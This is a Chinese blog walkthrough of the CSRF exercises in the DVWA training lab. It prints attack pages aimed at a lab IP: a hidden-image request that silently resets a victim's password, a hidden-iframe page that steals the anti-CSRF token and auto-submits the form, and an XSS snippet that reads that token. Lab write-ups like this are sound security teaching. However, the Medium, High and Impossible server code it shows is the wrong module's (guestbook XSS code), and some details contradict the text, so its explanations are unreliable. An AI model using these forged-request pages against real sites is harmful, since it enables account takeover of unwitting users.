Dvwa系列之csrf

最新推荐文章于 2024-05-26 08:00:00 发布
最新推荐文章于 2024-05-26 08:00:00 发布
阅读量1.4k 收藏
点赞数
分类专栏： dvwa系列 文章标签： csrf dvwa
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/lowerxiaoshen/article/details/53544588
版权

CSRF(Cross-site request forgery)

CSRF，全称Cross-site request forgery，翻译过来就是跨站请求伪造，是指利用受害者尚未失效的身份认证信息(cookie、会话等)，诱骗其点击恶意链接或者访问包含攻击代码的页面，在受害人不知情的情况下以受害者的身份向(身份认证信息所对应的)服务器发送请求，从而完成非法操作(如转账、改密等)。CSRF与XSS最大的区别就在于，CSRF并没有盗取cookie而是直接利用。在2013年发布的新版OWASP Top 10中，CSRF排名第8。

下面对四种级别的代码进行分析。

Low

服务器端核心代码

<?php

if( isset( $_GET[ 'Change' ] ) ) {
    // Get input
    $pass_new  = $_GET[ 'password_new' ];
    $pass_conf = $_GET[ 'password_conf' ];

    // Do the passwords match?
    if( $pass_new == $pass_conf ) {
        // They do!
        $pass_new = mysql_real_escape_string( $pass_new );
        $pass_new = md5( $pass_new );

        // Update the database
        $insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';";
        $result = mysql_query( $insert ) or die( '<pre>' . mysql_error() . '</pre>' );

        // Feedback for the user
        echo "<pre>Password Changed.</pre>";
    }
    else {
        // Issue with passwords matching
        echo "<pre>Passwords did not match.</pre>";
    }

    mysql_close();
}

?>

可以看到，服务器收到修改密码的请求后，会检查参数password_new与password_conf是否相同，如果相同，就会修改密码，并没有任何的防CSRF机制(当然服务器对请求的发送者是做了身份验证的，是检查的cookie，只是这里的代码没有体现= =)。

漏洞利用

1、构造链接

A) 最基础的:

http://10.63.2.43/DVWA-1.9/vulnerabilities/csrf/?password_new=123&password_conf=123&Change=Change#

当受害者点击了这个链接，他的密码就会被改成password(这种攻击显得有些拙劣，链接一眼就能看出来是改密码的，而且受害者点了链接之后看到这个页面就会知道自己的密码被篡改了)
这里写图片描述

需要注意的是，CSRF最关键的是利用受害者的cookie向服务器发送伪造请求，所以如果受害者之前用火狐浏览器登录的这个系统，而用猎豹浏览器点击这个链接，攻击是不会触发的，因为搜狗浏览器并不能利用Chrome浏览器的cookie，所以会自动跳转到登录界面。
这里写图片描述

现实攻击场景下，这种方法需要事先在公网上传一个攻击页面，诱骗受害者去访问，真正能够在受害者不知情的情况下完成CSRF攻击。这里为了方便演示(才不是我租不起服务器= =)，就在本地写一个text.html，下面是具体代码。

<html>
    <head>  
        <title>嘿嘿</title>
    <head>
    <body>
          <img src="http://10.63.2.43/DVWA-1.9/vulnerabilities/csrf/?password_new=li&password_conf=li&Change=Change#" border="0" style="display:none;"/>

<h1>404<h1>

<h2>file not found.<h2>
    </body>

</html>

当受害者访问test.html时，会误认为是自己点击的是一个失效的url，但实际上已经遭受了CSRF攻击，密码已经被修改为了li。
这里写图片描述

Medium

服务器端核心代码

<?php

if( isset( $_POST[ 'btnSign' ] ) ) {
    // Get input
    $message = trim( $_POST[ 'mtxMessage' ] );
    $name    = trim( $_POST[ 'txtName' ] );

    // Sanitize message input
    $message = strip_tags( addslashes( $message ) );
    $message = mysql_real_escape_string( $message );
    $message = htmlspecialchars( $message );

    // Sanitize name input
    $name = str_replace( '<script>', '', $name );
    $name = mysql_real_escape_string( $name );

    // Update database
    $query  = "INSERT INTO guestbook ( comment, name ) VALUES ( '$message', '$name' );";
    $result = mysql_query( $query ) or die( '<pre>' . mysql_error() . '</pre>' );

    //mysql_close();
}

?>

相关函数说明

int eregi(string pattern, string string)

检查string中是否含有pattern(不区分大小写)，如果有返回True，反之False。

可以看到，Medium级别的代码检查了保留变量 HTTP_REFERER(http包头的Referer参数的值，表示来源地址)中是否包含SERVER_NAME(http包头的Host参数，及要访问的主机名，这里是10.63.2.43)，希望通过这种机制抵御CSRF攻击。
这里写图片描述

漏洞利用

过滤规则是http包头的Referer参数的值中必须包含主机名(这里是10.63.2.43)
将text.html文件名命名为受害服务器ip地址(页面被放置在攻击者的服务器里，这里是10.63.2.92)就可以绕过了。
这里写图片描述
这里写图片描述

High

服务器端核心代码：

<?php

if( isset( $_POST[ 'btnSign' ] ) ) {
    // Get input
    $message = trim( $_POST[ 'mtxMessage' ] );
    $name    = trim( $_POST[ 'txtName' ] );

    // Sanitize message input
    $message = strip_tags( addslashes( $message ) );
    $message = mysql_real_escape_string( $message );
    $message = htmlspecialchars( $message );

    // Sanitize name input
    $name = preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $name );
    $name = mysql_real_escape_string( $name );

    // Update database
    $query  = "INSERT INTO guestbook ( comment, name ) VALUES ( '$message', '$name' );";
    $result = mysql_query( $query ) or die( '<pre>' . mysql_error() . '</pre>' );

    //mysql_close();
}

?>

可以看到，High级别的代码加入了Anti-CSRF token机制，用户每次访问改密页面时，服务器会返回一个随机的token，向服务器发起请求时，需要提交token参数，而服务器在收到请求时，会优先检查token，只有token正确，才会处理客户端的请求。

漏洞利用

要绕过High级别的反CSRF机制，关键是要获取token，要利用受害者的cookie去修改密码的页面获取关键的token。
基于token验证：
这里写链接内容

试着去构造一个攻击页面，将其放置在攻击者的服务器，引诱受害者访问，从而完成CSRF攻击，下面是代码。

<html>
     <head>
       <script type="text/javascript">

          function steal()

          {

                document.getElementsByName('user_token')[0].value=document.getElementById("hack").contentWindow.document.getElementsByName('user_token')[0].value;

                document.getElementById("transfer").submit();

         }

        </script>
     </head>





<iframe src="http://10.63.2.43/DVWA-1.9/vulnerabilities/csrf" id="hack" border="0" style="display:none;">

</iframe>

<body onload="steal()">

  <form method="GET" id="transfer" action="http://10.63.2.43/DVWA-1.9/vulnerabilities/csrf/">

      <input type="hidden" name="password_new" value="password">

      <input type="hidden" name="password_conf" value="password">

      <input type="hidden" name="user_token" value="">

      <input type="hidden" name="Change" value="Change">

  </form>

</body>

攻击思路是当受害者点击进入这个页面，脚本会通过一个看不见框架偷偷访问修改密码的页面，获取页面中的token，并向服务器发送改密请求，以完成CSRF攻击。
然而理想与现实的差距是巨大的，这里牵扯到了跨域问题，而现在的浏览器是不允许跨域请求的

下面利用High级别的XSS漏洞协助获取Anti-CSRF token(因为这里的XSS注入有长度限制，不能够注入完整的攻击脚本，所以只获取Anti-CSRF token)
js代码：

<iframe src="../csrf"onload=alert(frames[0].document.getElementsByName('user_token')[0].value)>

这里写图片描述

Impossible

服务器端核心代码

<?php

if( isset( $_POST[ 'btnSign' ] ) ) {
    // Check Anti-CSRF token
    checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );

    // Get input
    $message = trim( $_POST[ 'mtxMessage' ] );
    $name    = trim( $_POST[ 'txtName' ] );

    // Sanitize message input
    $message = stripslashes( $message );
    $message = mysql_real_escape_string( $message );
    $message = htmlspecialchars( $message );

    // Sanitize name input
    $name = stripslashes( $name );
    $name = mysql_real_escape_string( $name );
    $name = htmlspecialchars( $name );

    // Update database
    $data = $db->prepare( 'INSERT INTO guestbook ( comment, name ) VALUES ( :message, :name );' );
    $data->bindParam( ':message', $message, PDO::PARAM_STR );
    $data->bindParam( ':name', $name, PDO::PARAM_STR );
    $data->execute();
}

// Generate Anti-CSRF token
generateSessionToken();

?>

可以看到，Impossible级别的代码利用PDO技术防御SQL注入，至于防护CSRF，则要求用户输入原始密码(简单粗暴)，攻击者在不知道原始密码的情况下，无论如何都无法进行CSRF攻击。

lxshen
关注
  • 0
    点赞
  • 踩
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
专栏目录
dvwa之csrf
qq_17762247的博客
05-15 349
一、简介 CSRF是指在受害人不知情的情况下，以其身份向服务器发送服务器发送请求，从而执行非法操作（转账，改密等）。以转账为例，受害人A使用浏览器登录某银行网站B完成查看余额操作后，在未退出的情况下访问了攻击网站C，C利用浏览器中的Session伪造转账请求发送给B，由于B发现该转账请求包含用户登录信息，转账成功。Cross-site是指受害者在访问网站C时给网站B发送了请求，request forgery是指该请求是网站C伪造的，并不是A的本意。 二、Low 1、服务器端代码 <?php if(
DVWA之CSRF漏洞（详细）
热门推荐
qq_44720671的博客
07-26 1万+
CSRF简介 csrf全称为：Cross-site request forgery，是一种常见的web攻击。在场景中，攻击者会伪造一个请求（通常是一个链接），然后欺骗目标用户点击，用户一旦点击，攻击也就完成了。 与xss的区别：csrf是借助用户的权限完成攻击，攻击者并没有拿到权限；而xss是直接盗取用户权限去进行破坏。 更改难度： 点击dvwa security，选择难度，然后点击submit...
anti-csrf:功能齐全的反CSRF库
04-29
反CSRF库 动机 没有好的会话驱动的CSRF预防库。 好的，我们的意思是： 可以将CSRF令牌限制为以下任意一项或全部： 一个特定的会议 特定的HTTP URI 特定的IP地址（可选） 可以存储多个CSRF令牌 CSRF令牌在使用一次后失效 会话数据中存储的令牌数量上限在我们的实现中，最早的被删除 警告-请勿在所有$_SESSION数据都存储在客户端的cookie中的任何项目中使用。 这将快速运行HTTP cookie的最大4KB存储空间。 在任何项目中使用 请参阅autoload.php以获取SPL自动加载器。 与Twig模板一起使用 首先，添加一个像这样的过滤器： use \ ParagonIE \ AntiCSRF \ AntiCSRF ; $ twigEnv -> addFunction ( new \ Twig_SimpleFunction (
DVWA靶场
nidaxin的博客
01-20 487
1.command injection(medium) 过滤了“&&”和“;"，可以想办法绕过，可以用“&”，操作和low一样, 输入：127.0.0.1&ipconfig[若输入&&，可看见是过滤了&&的] <?php if( isset( $_POST[ 'Submit' ] ) ) { // Get input $target = $_REQUEST[ 'ip' ]; // Set black
pikachu靶场中的CSRF、SSRF通关
最新发布
qq_68163788的博客
05-26 1808
在Pikachu靶场中，CSRF（Cross-Site Request Forgery）和SSRF（Server-Side Request Forgery）是两种常见的Web安全漏洞。CSRF攻击利用用户在已认证的Web应用程序上执行未经意的操作，通过伪装请求来执行恶意操作，例如更改用户密码或发送资金。而SSRF漏洞则允许攻击者从受害服务器上执行请求，可能导致访问内部系统、绕过防火墙或执行其他恶意操作。
DVWA 之 CSRF
RexHa的博客
09-30 7398
CSRF，跨站域请求伪造，通常攻击者会伪造一个场景（例如一条链接），来诱使用户点击，用户一旦点击，黑客的攻击目的也就达到了，他可以盗用你的身份，以你的名义发送恶意请求。
DVWA简介及靶场实战-CSRF跨站请求伪造
mmxhappy的专栏
01-23 1619
CSRF攻击的本质是重要操作的所有参数，都可以被攻击者猜测到，所以token值是必须的。观察以下源码，这里是添加了Anti-CSRF token机制，用户每次到改密页面的时候，服务器会返回一个随机token，向服务器发起请求需要提交token参数，而在服务器收到请求的时候，会优先检查token，只有token正确才会处理客户端请求。本质上，这样的逻辑代码设计本身就不合理，HTTP协议设计的初衷中，GET型请求就需要保证“幂等性”，即无论发出了多少次GET请求，和仅发出一次请求所产生的效果应该是相同的。
DVWA-CSRF跨站请求伪造 -High级别
xmj818719的博客
02-27 1445
基础知识介绍csrf攻击流程 实验环境： CSRF模拟攻击环境（这里是内网环境，公网只需要对端口进行映射即可，其他操作同理） CentOS7 DVWA服务器(模拟转账系统) 192.168.0.9 kali 黑客(攻击者) 192.168.0.2 Win10 用户(受害者) 192.168.0.5 1使用条件： 1、使用关闭XSS的chrome浏览器 新建chrome浏览器快捷方式 “C:\Program Files (x86)\Google\Chrome\chrome-xss.e
pikachu，dvwa的csrf详细步骤
05-17
6. DVWA的CSRF漏洞级别：在DVWA中，CSRF漏洞有不同的安全级别，如Low和Medium。在Low级别，没有使用CSRF Token，因此可以直接构造链接进行攻击。而在Medium级别，虽然源代码中仍未见Token，但可能有其他形式的防护...
DVWA靶场搭建与使用
09-02
5. **其他漏洞**：如权限绕过、CSRF（跨站请求伪造）、信息泄露等。 在每个安全等级下，都有相应的提示和解决方案，通过解决这些问题，你可以深入了解Web应用安全，并提高你的安全意识和技能。 **六、学习资源与...
DVWA-master.zip
01-04
除了上述常见漏洞外，DVWA还包括如“弱口令”、“CSRF（跨站请求伪造）”、“不安全的直接对象引用”等其他安全挑战，这些都为学习者提供了全面的安全训练。 7. **实践与挑战** 通过DVWA，你可以模拟黑客的攻击...
DVWA-master.7z 压缩包
09-14
- 跨站请求伪造（CSRF）：攻击者利用用户的已登录状态，诱使用户进行非预期的操作。 - 文件包含漏洞：允许攻击者将外部文件内容包含到应用中，可能导致代码执行或信息泄露。 - 弱认证与会话管理：不安全的登录机制或...
DVWA靶场源码分享
12-11
DVWA（Damn Vulnerable Web Application）靶场是一个用于网络安全教育的开源Web应用程序。它由Chris Evans创建，旨在帮助安全专业人员、开发人员和学生通过实践来学习和理解常见Web应用程序安全漏洞。DVWA靶场提供了...
DVWA-CSRF(跨站请求伪造)
qq_45751902的博客
04-25 2433
目录CSRF(跨站请求伪造)简介安全级别：Low安全级别：Medium安全级别：High安全级别：Impossible CSRF(跨站请求伪造)简介 概念 CSRF（Cross—site request forgery），跨站请求伪造，是指利用受害者未失效的身份认证信息（cookie，会话等），诱骗其点击恶意链接或者访问包含攻击代码的页面，在受害人不知情的情况下，以受害者的身份向（身份认证信息所对应的）服务器发送请求，从而完成非法操作（如转账，改密等）。 CSRF与XSS的区别 CSRF属于业务逻辑漏洞
DVWA靶场之CSRF通关详解
qq_62169455的博客
06-27 2805
CSRF的形成原因主要是由于Web应用程序没有充分验证请求来源的问题。正常的请求必须携带正确的Cookie信息，而攻击者可以构造一个恶意网站，在其中包含一个发送CSRF请求的链接或表单，当用户访问这个网站时，浏览器会自动发送CSRF请求到被攻击的网站，从而实现攻击。这里查看源码，与刚刚的low等级比较发现，这里只有一个等级发生了改变，即在传入密码和确认密码参数前先进行了一个if语句的判断，判断里面的内容主要是验证这个访问请求是否从dvwa网站本身发起的，如果不是这个网站发起的请求，后面的操作就不执行。
DVWA中的CSRF中级
m0_73896875的博客
07-11 243
2.另外，有些教程里面，告诉大家直接通过Burp给Referer字段添加192.168.112.188的主机域名即可，这个是不对的，因为被攻击用户是不会去修改Referer字段的，这种情况只适用于用来做验证，而不能用于真实场景中。那么为了构造一个有效的Refere，可以在攻击服务器上创建一个新的HTML页面,并命名为：change_192.168.112.188.html,内容为。上述代码的作用是去Refere字段查找是否存在Server_Name(即主机IP或域名)字段的值，如果存在则满足条件。
新手指南：DVWA全级别教程之CSRF
g695144224的博客
08-09 2776
转自：http://www.freebuf.com/articles/web/118352.html DVWA简介DVWA（Damn Vulnerable Web Application）是一个用来进行安全脆弱性鉴定的PHP/MySQL Web应用，旨在为安全专业人员测试自己的专业技能和工具提供合法的环境，帮助web开发者更好的理解web应用安全防范的过程。DVWA共有十个模块，分别是Brute
DVWA——CSRF
weixin_51559599的博客
11-13 1235
这样解决了上种方法在请求中加入 token 的不便，同时，通过 XMLHttpRequest 请求的地址不会被记录到浏览器的地址栏，也不用担心 token 会透过 Referer 泄露到其他网站中去。可以在 HTTP 请求中以参数的形式加入一个随机产生的 token，并在服务器端建立一个拦截器来验证这个 token，如果请求中没有 token 或者 token 内容不正确，则认为可能是 CSRF 攻击而拒绝该请求。可以利用这一点漏洞，可以想办法在恶意网站的地址中添加带有 Web1 主机地址的字段。
DVWA-CSRF全通关（图文详解+源码解析）
weixin_46709219的博客
03-13 1万+
一）名词解释： CSRF，全称Cross-site request forgery，翻译过来就是跨站请求伪造，是指利用受害者尚未失效的身份认证信息（cookie、会话等），诱骗其点击恶意链接或者访问包含攻击代码的页面，在受害人不知情的情况下以受害者的身份向（身份认证信息所对应的）服务器发送请求，从而完成非法操作（如转账、改密等）。CSRF与XSS最大的区别就在于，CSRF并没有盗取cookie而是直接利用。在2013年发布的新版OWASP Top 10中，CSRF排名第8。 二）原理： 三）DVWA——
dvwa靶场中csrf高级怎么绕过
05-19
在DVWA的CSRF高级挑战中，攻击者需要绕过token来成功执行恶意操作。以下是几种常见的绕过方法： 1. 利用XSS漏洞：攻击者可以在受害者的浏览器中注入恶意JavaScript代码，该代码会获取到受害者的CSRF token，然后将...

“相关推荐”对你有帮助么？

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值